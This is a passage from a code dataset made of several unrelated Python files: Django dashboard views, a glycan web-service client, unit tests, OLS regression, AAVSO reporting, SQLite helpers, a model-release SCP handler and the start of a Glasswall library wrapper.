open_help_tickets_count = HelpTicket.objects.filter(status='Abierto').count()\n\n context = {'new_users': new_users_count, 'pending_orders': pending_orders_count, 'orders': order_list,\n 'open_help_tickets_count': open_help_tickets_count, }\n template = 'dashboards/dashboard.html'\n\n return render(request, template, context)\n\n\n# Return all the users joined in the last 30 days\n@staff_member_required\ndef users(request):\n if request.POST:\n print(\"POST\")\n # Count of Users joined in the last 30 days\n start_date = datetime.datetime.today() - datetime.timedelta(days=30)\n end_date = datetime.datetime.today()\n new_users = User.objects.filter(is_active=True, date_joined__range=(start_date, end_date))\n\n context = {'new_users': new_users, }\n template = 'dashboards/dashboard_users.html'\n\n return render(request, template, context)\n\n\n# Return all the Orders\n@staff_member_required\ndef orders(request):\n if request.POST:\n print(request.POST)\n try:\n the_id = request.POST.get('order_id')\n except:\n the_id = None\n\n order = Order.objects.get(order_id=the_id)\n\n try:\n old_status = order.status\n new_status = request.POST.get('status')\n except:\n new_status = None\n\n order.status = new_status\n order.save()\n\n messages.success(request, 'Estatus del pedido #%s cambiado de \"%s\" a \"%s\" con exito!' % (\n order.order_id, old_status, new_status))\n\n # Count of Users joined in the last 30 days\n start_date = datetime.datetime.today() - datetime.timedelta(days=30)\n end_date = datetime.datetime.today()\n\n # Count of pending Orders\n pending_orders = Order.objects.all().order_by('-timestamp')\n\n context = {'order_status_choices': STATUS_CHOICES, 'pending_orders': pending_orders, }\n template = 'dashboards/dashboard_orders.html'\n\n return render(request, template, context)\n\n\n@staff_member_required\ndef reports(request):\n if request.POST:\n print(request.POST)\n\n else:\n reports_view = AnalyticsIndexView()\n context = reports_view.get_context_data()\n template = 'dashboards/dashboard_reports.html'\n\n return render(request, template, context)\n\n\n# Return all helptickets with Pending status\ndef helptickets(request):\n if request.POST:\n print(request.POST)\n\n help_ticket_list = HelpTicket.objects.filter(status='Abierto').order_by('-timestamp')\n\n answer_help_ticket_form = AnswerHelpTicketForm()\n\n context = {'help_ticket_list': help_ticket_list, 'answer_help_ticket_form': answer_help_ticket_form, }\n template = 'dashboards/dashboard_helptickets.html'\n\n return render(request, template, context)\n\n\ndef answer_help_ticket(request):\n if request.POST:\n print(request.POST)\n form = AnswerHelpTicketForm(request.POST or None)\n if form.is_valid():\n help_ticket_id = request.POST.get('help_ticket_id')\n help_ticket = HelpTicket.objects.get(help_ticket_id=help_ticket_id)\n\n # send email here & render a string\n\n message = request.POST.get('message')\n subject = \"Respuesta al Ticket de ayuda #%s\" % help_ticket.help_ticket_id\n\n try:\n send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [help_ticket.user.email])\n help_ticket.status = \"Cerrado\"\n help_ticket.save()\n messages.success(request, \"Respuesta del ticket #%s enviada con exito!\" % help_ticket.help_ticket_id)\n except Exception as e:\n print(e)\n messages.error(request, \"Ocurrio un error al enviar el correo de respuesta del ticket de ayuda #%s\" % help_ticket.help_ticket_id)\n\n return HttpResponseRedirect(reverse('dashboard_helptickets'))\n else:\n return HttpResponseForbidden(\"Oops! Ocurrió un error al procesar el formulario\")\n else:\n return HttpResponseForbidden(\"Hey! Solo se aceptan peticion POST\")\n\n\n# Download a zip file which contains all photos of the selected Order.\n@staff_member_required\ndef send_zipfile(request, order_id=None):\n order = Order.objects.get(order_id=order_id)\n buffer_var = StringIO.StringIO()\n z = ZipFile(buffer_var, \"w\")\n for item in order.cart.cartitem_set.all():\n files = []\n for photo in item.photo_set.all():\n files.append(photo.image.path)\n try:\n files.append(photo.cropped.image_cropped.path)\n except Cropped.DoesNotExist:\n pass\n\n print(files)\n for f in files:\n z.write(f, os.path.join('%s-%s' % (item.product.title, item.id), os.path.basename(f)))\n\n z.close()\n buffer_var.seek(0)\n response = HttpResponse(buffer_var.read())\n response['Content-Disposition'] = 'attachment; filename=' + order_id + '.zip'\n response['Content-Type'] = 'application/x-zip-compressed'\n return response\n","sub_path":"dashboards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"406396112","text":"\nfrom .WebServiceResource import WebServiceResource\n\nimport os, os.path, re, time, json\nimport hashlib \n\nclass GlyGenWS(WebServiceResource):\n apiurl = 'https://api.glygen.org'\n \n def __init__(self,**kw):\n kw['iniFile'] = os.path.join(os.path.dirname(os.path.realpath(__file__)),\"glygenws.ini\")\n super(GlyGenWS,self).__init__(**kw)\n\n def glycan_search(self, **kw):\n query=json.dumps(kw)\n result = self.query_glycan_search(query=query)\n list_id = result['list_id']\n for r in self.query_download_list(list_id=list_id):\n yield r\n\n def glycan_directsearch(self,**kw):\n offset = 1\n while True:\n query=json.dumps(dict(offset=offset,**kw))\n offset += 1\n result = self.query_glycan_directsearch(query=query)\n print(dict(len=len(result['results']),**result['queryinfo']))\n for d in result['results']:\n yield d\n if len(result['results']) == 0:\n break\n\n def glycans_bytype(self,type):\n for i,d in enumerate(self.glycan_search(glycan_type=type)):\n yield d['glytoucan_ac']\n","sub_path":"pygly/GlycanResource/GlyGenWS.py","file_name":"GlyGenWS.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627811127","text":"import unittest\nfrom MissingNumber import MissingNumber\n\nclass UnitTest(unittest.TestCase):\n\n def testMissingNumber(self):\n for i in range(100):\n mn = MissingNumber([k for k in range(100) if k != i])\n self.assertEqual(i, mn.findMissingNum())\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"challenge_7/python/hkl0902/UnitTest.py","file_name":"UnitTest.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"107122468","text":"import numpy as np\nfrom resampling import Resampling\n\n\nclass OrdinaryLeastSquares(Resampling):\n\n def __init__(self):\n \"\"\"\n Perform regression using the ordinary least squares method on a\n data set y.\n Sets up the matrix X in the matrix equation y = X*Beta\n and performs linear regression to find the best coefficients.\n \"\"\"\n\n self.x = None\n self.y = None\n self.coeff = None\n\n def fit_coefficients(self, x, y):\n \"\"\"\n Makes a linear fit of the data.\n\n :param x: x values that generated the outcome\n :param y: the dataset to fit\n \"\"\"\n self.x = x\n self.y = y\n\n # Regression\n self.coeff = np.linalg.pinv(x.T @ x) @ x.T @ y\n\n def make_prediction(self, x):\n \"\"\"\n Use the trained model to predict values given an input x.\n\n :param x: Input values to predict new data for\n :return: predicted values\n \"\"\"\n\n y_predict = x @ self.coeff\n\n return y_predict\n\n def mean_squared_error(self, x, y):\n \"\"\"\n Evaluate the mean squared error of the output generated\n by Ordinary Least Squares regressions.\n\n :param x: x-values for data to calculate mean_squared error on.\n :param y: true values for x\n :return: returns mean squared error for the fit compared with true\n values.\n \"\"\"\n\n y_predict = self.make_prediction(x)\n mse = np.mean(np.square(y - y_predict))\n\n return mse\n\n def r2_score(self, x, y):\n \"\"\"\n Evaluates the R2 score for the fitted model.\n\n :param x: input values x\n :param y: true values for x\n :return: r2 score\n \"\"\"\n y_predict = self.make_prediction(x)\n\n y_mean = np.mean(y)\n upper_sum = np.sum(np.square(y - y_predict))\n lower_sum = np.sum(np.square(y - y_mean))\n r2score = 1 - upper_sum / lower_sum\n return r2score\n","sub_path":"project2/src/ols.py","file_name":"ols.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139029321","text":"#!/usr/bin/env python\nfrom gittasks import gittasks\nimport datetime\nimport os\n\ndef testParseTask():\n teardown_func()\n gt = gittasks()\n\n now_time = datetime.datetime.now()\n\n t = gt.parseTaskString(\"Wash dishes @home @chores --due Today @yay\")\n assert t['task'] == 'Wash dishes'\n assert t['contexts'] == ['chores', 'home', 'yay']\n assert t['due'] == int(now_time.strftime('%s'))\n\n t = gt.parseTaskString(\"Call Mom. @phone @family -d 5/15/2014 @yay\")\n assert t['task'] == 'Call Mom.'\n assert t['contexts'] == ['family', 'phone', 'yay']\n assert t['due'] == 1400112000\n\n t = gt.parseTaskString(\"Switch insurance to socially responsible carrier @phone @errand --due 5/22/2014\")\n assert t['task'] == 'Switch insurance to socially responsible carrier'\n assert t['contexts'] == ['errand', 'phone']\n assert t['due'] == 1400716800\n\n t = gt.parseTaskString(\"Code bash script @code @work +gittasks +freelance -d 2014/05/22\")\n assert t['task'] == 'Code bash script'\n assert t['contexts'] == ['code', 'work']\n assert t['due'] == 1400716800\n assert t['projects'] == ['freelance', 'gittasks']\n\n t = gt.parseTaskString(\"Just do it\")\n assert t['task'] == \"Just do it\"\n assert t['due'] == None\n assert t['contexts'] == None\n assert t['projects'] == None\n\ndef testParseFile():\n teardown_func()\n gt = gittasks()\n\n tasks = gt.parseFile('/home/vagrant/tests/file.php')\n\n assert tasks[0]['task'] == 'Check for initialization'\n assert tasks[0]['contexts'] == ['TODO']\n assert tasks[0]['line'] == 13\n assert tasks[0]['due'] == None\n\n assert tasks[1]['task'] == 'Index method not returning correct variables'\n assert tasks[1]['line'] == 24\n assert tasks[1]['contexts'] == ['gt']\n assert tasks[1]['due'] == 1401580800\n\n assert tasks[2]['task'] == 'Check again re: this line'\n assert tasks[2]['line'] == 43\n assert tasks[2]['contexts'] == ['HACK', 'work']\n\ndef testSaveTask():\n teardown_func()\n gt = gittasks()\n task = gt.parseTaskString(\"Call Mom @phone @family -d 5/15/2014\")\n t = gt.saveTaskToDatabase(task)\n assert t['task_id'] == 1\n\n task = gt.parseTaskString(\"Update website -d 5/15/2014 @code +gitTasks\")\n t = gt.saveTaskToDatabase(task)\n assert t['task_id'] == 2\n\ndef testUpdateTask():\n teardown_func()\n gt = gittasks()\n\n task = gt.parseTaskString(\"Call Mother @phone @family -d 5/15/2014\")\n task = gt.saveTaskToDatabase(task)\n\n t = gt.update(task['task_id'], \"Call Dad @email @family --due 2014/05/22\")\n assert t == True\n\n task = gt.getTask(task['task_id'])\n assert task['task'] == \"Call Dad\"\n assert task['due'] == 1400716800\n assert task['contexts'] == ['email', 'family']\n\ndef testGetAllTasks():\n teardown_func()\n gt = gittasks()\n\n task = gt.parseTaskString(\"Call Mother @phone @family -d 5/15/2014\")\n t = gt.saveTaskToDatabase(task)\n task = gt.parseTaskString(\"Call Mom @phone @family -d 5/15/2014\")\n t = gt.saveTaskToDatabase(task)\n task = gt.parseTaskString(\"Update website -d 5/15/2014 @code +gitTasks\")\n t = gt.saveTaskToDatabase(task)\n\n tasks = gt.getAllTasksFromDatabase()\n assert len(tasks) == 3\n\ndef testMarkComplete():\n teardown_func()\n gt = gittasks()\n\n task = gt.parseTaskString(\"Call Sister @phone @family -d 5/15/2014\")\n t = gt.saveTaskToDatabase(task)\n\n task = gt.parseTaskString(\"Email re: job @email @work -d 5/15/2014\")\n t = gt.saveTaskToDatabase(task)\n assert task['task'] == 'Email re: job'\n\n task = gt.parseTaskString(\"Contact client -d 5/15/2014 @code +freelance\")\n t = gt.saveTaskToDatabase(task)\n\n done = gt.markComplete(1)\n assert done == None\n\n task = gt.getTask(1)\n now_time = datetime.datetime.now()\n assert task['completed'] == int(now_time.strftime('%s'))\n\n done = gt.markComplete(498028)\n assert False == done\n\ndef testSearch():\n teardown_func()\n gt = gittasks()\n\n task = gt.parseTaskString(\"Call Brother @phone @family +home -d 5/15/2014\")\n t = gt.saveTaskToDatabase(task)\n\n task = gt.parseTaskString(\"Email re: desk for sale @life @email -d 5/15/2014\")\n t = gt.saveTaskToDatabase(task)\n\n task = gt.parseTaskString(\"Email client -d 5/15/2014 @email @work +freelance\")\n t = gt.saveTaskToDatabase(task)\n\n task = gt.parseTaskString(\"Go grocery shopping +home @family\")\n t = gt.saveTaskToDatabase(task)\n\n task = gt.parseTaskString(\"Convert PSD to site @code @work +freelance\")\n t = gt.saveTaskToDatabase(task)\n\n tasks = gt.search(\"@work\")\n assert len(tasks) == 2\n assert tasks[0]['task'] == \"Email client\"\n assert tasks[0]['contexts'] == ['email', 'work']\n assert tasks[1]['task'] == \"Convert PSD to site\"\n\n tasks = gt.search(\"@work @email\")\n assert len(tasks) == 3\n\n tasks = gt.search(\"+home\")\n assert len(tasks) == 2\n\n tasks = gt.search(\"brother\")\n assert len(tasks) == 1\n\n tasks = gt.search(\"email\")\n assert len(tasks) == 2\n\n tasks = gt.search(\"@family +home\")\n assert len(tasks) == 2\n\n tasks = gt.search(\"jellybeans\")\n assert tasks == False\n\n tasks = gt.search(\"-d 2014/05/15\")\n assert len(tasks), 3\n\n tasks = gt.search(\"-d < 2014/05/15\")\n assert tasks == False\n\n tasks = gt.search(\"-d > 2014/05/15\")\n assert tasks == False\n\n tasks = gt.search(\"-d <= 2014/05/15\")\n assert len(tasks) == 3\n\ndef testParseCommit():\n teardown_func()\n gt = gittasks()\n\n tasks = gt.parseGitCommit(\"tests/git_test_repo\")\n for task in tasks:\n gt.saveTaskToDatabase(task)\n\n teardown_func()\n\ndef teardown_func():\n if os.path.isfile('/home/vagrant/.gittasks.sqlite'):\n os.remove('/home/vagrant/.gittasks.sqlite')\n pass\n\n","sub_path":"tests/test_gittasks.py","file_name":"test_gittasks.py","file_ext":"py","file_size_in_byte":5701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"196319897","text":"import aavso\nimport reading\nimport logging\nfrom astropy import units as u\nfrom astropy.time import Time\nfrom astropy.coordinates import SkyCoord, EarthLocation, AltAz\n#supress the warning about vector transforms so as not to clutter the doc build log\nimport warnings\nwarnings.filterwarnings('ignore',module='astropy.coordinates.baseframe')\nfrom init_loader import init, settings\nimport tqdm\n\ndef calculate_airmass(coord, location, jd):\n time = Time(jd, format='jd')\n altazs = coord.transform_to(AltAz(obstime=time, location=location))\n return altazs.secz\n\ndef report(target_dir, star_description, comparison_star):\n # row.append(observation_data['name'])\n # row.append(observation_data['date'])\n # row.append(observation_data['magnitude'])\n # row.append(observation_data['magnitude_error'])\n # row.append(observation_data['filter'])\n # row.append(observation_data['transformed'])\n # row.append(observation_data['magnitude_type'])\n # row.append(observation_data.get('comparison_name', 'na'))\n # row.append(observation_data.get('comparison_magnitude', 'na'))\n # row.append(observation_data.get('check_name', 'na'))\n # row.append(observation_data.get('check_magnitude', 'na'))\n # row.append(observation_data.get('airmass', 'na'))\n # row.append(observation_data.get('group', 'na'))\n # row.append(observation_data.get('chart', 'na'))\n # row.append(observation_data.get('notes', 'na'))\n curve = reading.read_lightcurve(star_description.local_id, filter=True, preprocess=False)\n star_match_ucac4, separation = star_description.get_match_string(\"UCAC4\")\n star_match_vsx, separation = star_description.get_match_string(\"VSX\", strict=False)\n comp_ucac4 = comparison_star.get_match_string(\"UCAC4\", strict=True)\n var_display_name = star_match_ucac4 if star_match_vsx == None else star_match_vsx\n check_display_name = comparison_star.aavso_id if not comparison_star.aavso_id is None else comp_ucac4[0]\n\n logging.info(\" Star match:{}, comparison_star:{}\".format(var_display_name, comparison_star))\n comparison_star_vmag = comparison_star.vmag\n title = str(star_description.local_id if star_description.aavso_id is None else star_description.aavso_id)\n earth_location = EarthLocation(lat=init.sitelat, lon=init.sitelong, height=init.sitealt*u.m)\n logging.info(\"Starting aavso report with star:{}\".format(star_description))\n\n with open(target_dir + title+'_extended.txt', 'w') as fp:\n writer = aavso.ExtendedFormatWriter(fp, 'RMH', software='munipack-automation', obstype='CCD')\n for _, row in tqdm.tqdm(curve.iterrows(), total=len(curve), unit=\"observations\"):\n #logging.info(row, type(row))\n writer.writerow({\n 'name': var_display_name,\n 'date': row['JD'],\n 'magnitude': row['V-C'] + comparison_star_vmag,\n 'magnitude_error': row['s1'],\n 'filter': 'V',\n 'transformed': 'YES',\n 'magnitude_type': 'STD',\n 'comparison_name': 'ENSEMBLE',\n 'comparison_magnitude': 'na',\n 'check_name': check_display_name,\n 'check_magnitude': comparison_star_vmag,\n 'airmass': calculate_airmass(star_description.coords, earth_location, row['JD']),\n 'group': 'na',\n 'chart': 'na',\n 'notes': 'na'\n })\n","sub_path":"src/do_aavso_report.py","file_name":"do_aavso_report.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586584844","text":"# -*- coding: utf8 -*-\nfrom os.path import abspath, dirname, join\nimport sqlite3\n\n\nclass DB(object):\n def __init__(self, filename):\n self.filename = filename\n\n def get_conn(self):\n return sqlite3.connect(self.filename)\n\n def reset_data(self):\n conn = self.get_conn()\n conn.execute('DROP TABLE IF EXISTS words')\n conn.execute('''\n CREATE TABLE words (\n word TEXT PRIMARY KEY,\n description TEXT\n )\n ''')\n\n def get_word(self, word_id):\n conn = self.get_conn()\n cur = conn.cursor()\n cur.execute('SELECT word, description FROM words WHERE rowid = ?',\n (word_id, ))\n r = cur.fetchone()\n\n return {'id': word_id, 'word': r[0], 'description': r[1]}\n\n def get_words(self, page=1, page_size=20):\n conn = self.get_conn()\n cur = conn.cursor()\n cur.execute('SELECT rowid, word, description FROM words '\n 'ORDER BY rowid LIMIT ? OFFSET ?',\n (page_size, (page - 1) * page_size))\n\n return [{'id': r[0], 'word': r[1], 'description': r[2]} for r in cur]\n\n def add_word(self, word, description):\n conn = self.get_conn()\n cur = conn.cursor()\n cur.execute('INSERT INTO words (word, description) VALUES (?, ?)',\n (word, description))\n conn.commit()\n\n def update_word(self, word_id, word, description):\n conn = self.get_conn()\n cur = conn.cursor()\n cur.execute('UPDATE words SET word = ?, description = ? '\n 'WHERE rowid = ?', (word, description, word_id))\n conn.commit()\n\n def delete_word(self, word_id):\n conn = self.get_conn()\n cur = conn.cursor()\n cur.execute('DELETE FROM words WHERE rowid = ?', (word_id, ))\n conn.commit()\n\n\ndb = DB(abspath(join(dirname(__file__), '..', 'data.sqlite')))\n","sub_path":"application/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"568448297","text":"from ..util import DoubleIterator\n\nclass IntersectFeatureSelector(DoubleIterator):\n def __init__(self, iter1, iter2, *,\n fraction=None, reciprocal=False, either=False):\n super().__init__(iter1, iter2)\n self.intersect_kw = {\n 'fraction': fraction,\n 'reciprocal': reciprocal,\n 'either': either,\n }\n\n def __iter__(self):\n for features in super().__iter__():\n if features is None:\n continue\n elif isinstance(features, tuple):\n yield features\n else:\n yield from features\n\n def case_equal(self, feature1, feature2):\n return feature1, feature2, 1, 1\n\n def case_smaller(self, feature1, feature2):\n o1, o2 = feature1.intersect(feature2, **self.intersect_kw)\n while all((o1, o2)): # no 0 in (o1, o2)\n yield feature1, feature2, o1, o2\n feature2 = self.item2 = next(self.iter2)\n o1, o2 = feature1.intersect(feature2, **self.intersect_kw)\n\n def case_larger(self, feature1, feature2):\n o1, o2 = feature1.intersect(feature2, **self.intersect_kw)\n if all((o1, o2)): # no 0 in (o1, o2)\n return feature1, feature2, o1, o2\n\n def case_iter1_unfinished(self, feature1):\n return feature1, self.item2, 0, 0\n\n def case_iter2_unfinished(self, feature2):\n self.iter2.close()\n return\n","sub_path":"src/common/selector.py","file_name":"selector.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594565959","text":"from django.urls import path\nfrom places.views import (\n PlaceImageClassificationView,\n PlaceImageCurationView,\n KaKaoPlaceLikeView,\n TourPlaceLikeView,\n)\n\n\nurlpatterns = [\n path(\"inference/\", PlaceImageClassificationView.as_view(), name=\"place-predict\"),\n path(\"curation/\", PlaceImageCurationView.as_view(), name=\"image-curation\"),\n path(\"likes/kakao/\", KaKaoPlaceLikeView.as_view(), name=\"likes-kakao\"),\n path(\"likes/tour/\", TourPlaceLikeView.as_view(), name=\"likes-tour\"),\n]\n","sub_path":"places/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457455793","text":"from lib.openfood_env import IMPORT_API_BASE_URL\nimport string\nimport random\nimport time\nimport requests\nimport json\nimport sys\nfrom datetime import datetime\nfrom dotenv import load_dotenv\nload_dotenv(verbose=True)\n\nprint(IMPORT_API_BASE_URL)\n\ndef str_time_prop(start, end, format, prop):\n \"\"\"Get a time at a proportion of a range of two formatted times.\n\n start and end should be strings specifying times formated in the\n given format (strftime-style), giving an interval [start, end].\n prop specifies how a proportion of the interval to be taken after\n start. The returned time will be in the specified format.\n \"\"\"\n\n stime = time.mktime(time.strptime(start, format))\n etime = time.mktime(time.strptime(end, format))\n\n ptime = stime + prop * (etime - stime)\n\n res = time.strftime(format, time.localtime(ptime))\n print(res)\n return res\n\n\ndef random_date(start, end, prop):\n return str_time_prop(start, end, '%Y-%m-%d', prop)\n\n\ndef make_random_string(length):\n\tstr = \"\"\n\tfor x in range(0,length):\n\t\tstr = str + random.choice(string.ascii_letters)\n\n\treturn str\n\ndef get_random_number(length):\n\tnumber = random.randint((length-1) ** 10, (length) ** 10)\n\treturn number\n\ndef days(date):\n\tret = \"\"\n\tfor a in date:\n\t\tif a == '-':\n\t\t\tret = \"\"\n\t\telse:\n\t\t\tret = ret + a\n\treturn int(ret)\n\n\ndef create_batches(amount):\n\tresponselist = []\n\tfor x in range(0,amount):\n\t\tparams = create_random_batch()\n\t\tres = post_batches(params)\n\t\tres = json.loads(res)\n\t\tresponselist = responselist + [ res ]\n\n\treturn responselist\n\n\ndef post_batches(params):\n\tprint(IMPORT_API_BASE_URL)\n\turl = IMPORT_API_BASE_URL + \"raw/refresco/\"\n\tres = requests.post(url, data=params)\n\treturn res.text\n\ndef create_random_batch():\n\tRANDOM_VAL_ANFP=get_random_number(5)\n\tRANDOM_VAL_DFP=\"100EP PA Apfelsaft naturtrüb NF\"\n\tRANDOM_VAL_BNFP=make_random_string(10)\n\tRANDOM_VAL_PC=\"DE\"\n\tRANDOM_VAL_PL=\"Herrath\"\n\tRANDOM_VAL_RMN=11200100520\n\tRANDOM_VAL_PON=get_random_number(8)\n\tRANDOM_VAL_POP=get_random_number(2)\n\tRANDOM_VAL_MASS=get_random_number(3)\n\tPDS=random_date(\"2020-1-1\", \"2020-11-15\", random.random())\n\tPDE=random_date(PDS, \"2020-11-15\", random.random())\n\tBBD=PDE\n\n\tJDS=days(PDS)\n\tJDE=days(PDE)\n\n\tparams = { \"anfp\": RANDOM_VAL_ANFP, \"dfp\": RANDOM_VAL_DFP, \"bnfp\": RANDOM_VAL_BNFP, \"pds\":PDS , \"pde\":PDE, \"jds\":JDS, \"jde\":JDE , \"bbd\":BBD , \"pc\": RANDOM_VAL_PC, \"pl\": RANDOM_VAL_PL, \"rmn\":RANDOM_VAL_RMN, \"pon\":RANDOM_VAL_PON, \"pop\":RANDOM_VAL_POP, \"mass\":RANDOM_VAL_MASS }\n\tprint(params)\n\treturn params\n\ndef main():\n\tamount = int(sys.argv[1])\n\tcreate_batches(amount)\n\nif __name__ == '__main__':\n main()\n\ndef properties_test(tests):\n\tfor test in tests:\n\t\tprint(test)\n\t\tassert test['anfp']\n\t\tassert test['dfp']\n\t\tassert test['bnfp']\n\t\tassert test['pds']\n\t\tassert test['pde']\n\t\tassert test['jds']\n\t\tassert test['jde']\n\t\tassert test['bbd']\n\t\tassert test['pc']\n\t\tassert test['pl']\n\t\tassert test['rmn']\n\t\tassert test['pon']\n\t\tassert test['pop']\n\t\tassert test['mass']\n\ndef ids_test(tests):\n\tfor test in tests:\n\t\tassert test['id']\n\ndef test_create_random_batch():\n\ttest_1 = create_random_batch()\n\ttest_2 = create_random_batch()\n\tassert not test_1 == test_2\n\n\ttests = [test_1, test_2]\n\tproperties_test(tests)\n\ndef test_post_random_batch():\n\ttest_1 = create_random_batch()\n\tres = post_batches(test_1)\n\tres = json.loads(res)\n\tids_test([res])\n\n\ndef test_create_batches():\n\tres = create_batches(10)\n\tproperties_test(res)\n\tids_test(res)\n","sub_path":"noauth-batch-create-refresco.py","file_name":"noauth-batch-create-refresco.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566791265","text":"##testing from python shell, NO flask\n\nfrom PIL import Image\n\nimport urllib.request\n\nfrom yelp import *\nfrom cf import *\n\n##from PyDictionary import PyDictionary\n##dictionary = PyDictionary\n\nimport json\n\nfood_img = ['https://recipes.heart.org/-/media/aha/recipe/recipe-images/mediterranean-salad.jpg',\n'https://budgetbytes.com/wp-content/uploads/2016/07/Pasta-with-Butter-Tomato-Sauce-and-Toasted-Bread-Crumbs-utensils.jpg',\n'https://media.timeout.com/images/103902673/image.jpg','https://upload.wikimedia.org/wikipedia/commons/e/e6/BLT_sandwich_on_toast.jpg'\n'http://alyssasarfity.com/wp-content/uploads/2014/04/Screen-Shot-2014-04-03-at-6.34.25-PM-940x529.png']\n\ndef main():\n\n top_list = []\n\n for i in range(len(food_img)):\n link = urllib.request.urlopen(food_img[i])\n img = Image.open(link)\n size = 256 , 256\n img.thumbnail(size)\n img.show()\n response = input(\"Left or right? \")\n if response is 'r':\n cf_list = ProcessImage(link)\n top_list.append(cf_list)\n img.close()\n if response is 'l':\n img.close()\n print(top_list)\n print(\"\\n\")\n\n\n\n #print(\"\\n\")\n #query_api(\"food\", ', '.join(cf_list), \"Tampa, FL\", True)\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main/pie.py","file_name":"pie.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"106117648","text":"# -*- coding:utf-8 -*-\n\nimport tornado.web\nimport os\nimport json\nimport shutil\nimport multiprocessing\n\nimport scp\n\nfrom utils import ServerResponse\nfrom utils import create_ssh_client\nfrom utils import host_ip\n\n\nclass ModelReleaseHandler(tornado.web.RequestHandler):\n def initialize(self):\n self.task_queue = multiprocessing.Manager().Queue()\n self.queue = multiprocessing.Manager().Queue()\n self.file_list = list()\n self.src_dir = \"/data/deeplearning/dataset/training/models/released\"\n self.dest_dir = \"/data/deeplearning/dataset/training/models/prod\"\n\n self.src_scp_ip = \"192.168.5.38\"\n self.src_scp_port = 22\n self.src_scp_user = \"kddev\"\n self.src_scp_passwd = \"12345678\"\n\n self.src_ssh = None\n self.src_scp = None\n self.src_sftp = None\n\n if self.src_scp_ip != host_ip:\n self.src_ssh = create_ssh_client(\n server=self.src_scp_ip,\n port=self.src_scp_port,\n user=self.src_scp_user,\n password=self.src_scp_passwd\n )\n self.src_scp = scp.SCPClient(self.src_ssh.get_transport())\n self.src_sftp = self.src_ssh.open_sftp()\n\n self.dest_scp_ip = \"192.168.5.38\"\n self.dest_scp_port = 22\n self.dest_scp_user = \"kddev\"\n self.dest_scp_passwd = \"12345678\"\n\n self.dest_ssh = None\n self.dest_scp = None\n self.dest_sftp = None\n if self.dest_scp_ip != host_ip:\n self.dest_ssh = create_ssh_client(\n server=self.dest_scp_ip,\n port=self.dest_scp_port,\n user=self.dest_scp_user,\n password=self.dest_scp_passwd\n )\n self.dest_scp = scp.SCPClient(self.dest_ssh.get_transport())\n self.dest_sftp = self.dest_ssh.open_sftp()\n\n def __delete__(self, instance):\n if self.dest_scp:\n self.dest_scp.close()\n if self.dest_sftp:\n self.dest_sftp.close()\n if self.dest_ssh:\n self.dest_ssh.close()\n\n def get(self, *args, **kwargs):\n self.set_header('Access-Control-Allow-Origin', '*')\n self.set_header('Content-type', 'application/json')\n\n try:\n if self.src_scp_ip != host_ip:\n # 拷贝文件\n if not os.path.exists(self.src_dir):\n os.makedirs(self.src_dir)\n src_list = self.src_sftp.listdir(self.src_dir)\n for src_file in src_list:\n src_path = os.path.join(self.src_dir, src_file)\n self.src_scp.get(src_path, src_path)\n\n if not os.path.exists(self.src_dir):\n err_code = 1\n resp = ServerResponse(err_code=err_code, err_info=None, result=None)\n resp_str = resp.generate_response()\n else:\n # start to copy\n file_list = os.listdir(self.src_dir)\n result_obj = {\n \"files\": file_list\n }\n resp = ServerResponse(err_code=0, err_info=None, result=result_obj)\n resp_str = resp.generate_response()\n\n for file_id in file_list:\n src_path = os.path.join(self.src_dir, file_id)\n if os.path.isfile(src_path):\n dest_path = os.path.join(self.dest_dir, file_id)\n\n if self.dest_scp_ip != host_ip:\n self.dest_scp.put(src_path, dest_path)\n else:\n shutil.copy(src_path, dest_path)\n\n self.write(resp_str)\n except Exception as err:\n err_info = err.args[0]\n json_res = {\"code\": \"99\", \"msg\": str(err_info)}\n self.write(json.dumps(json_res))\n except:\n self.write('{\"code\": \"99\", \"msg\": \"unknown exception\"}')\n\n self.finish()\n","sub_path":"road_marking/model_release.py","file_name":"model_release.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325260118","text":"import ctypes as ct\nimport os\n\n\n# noinspection SpellCheckingInspection,PyMethodMayBeStatic,PyPep8Naming,PyIncorrectDocstring\nclass Glasswall:\n \"\"\"\n A Python API wrapper around the Glasswall Core 2 library.\n \"\"\"\n\n gw_library = None\n\n def __init__(self, path_to_lib):\n \"\"\"\n Constructor for the Glasswall library\n \"\"\"\n\n try:\n # Change working directory to lib directory to find dependencies in Windows\n\n os.chdir(path_to_lib)\n\n cwd = os.getcwd()\n\n for root, dirs, files in os.walk(cwd):\n for file in files:\n if file.__contains__(\"gw_securtag.dll\"):\n path_to_lib = os.path.join(cwd, \"gw_securtag.dll\")\n break\n elif file.__contains__(\"libgw_securtag.so\"):\n path_to_lib = os.path.join(cwd, \"libgw_securtag.so\")\n break\n\n self.gw_library = ct.cdll.LoadLibrary(path_to_lib)\n\n except Exception as e:\n raise 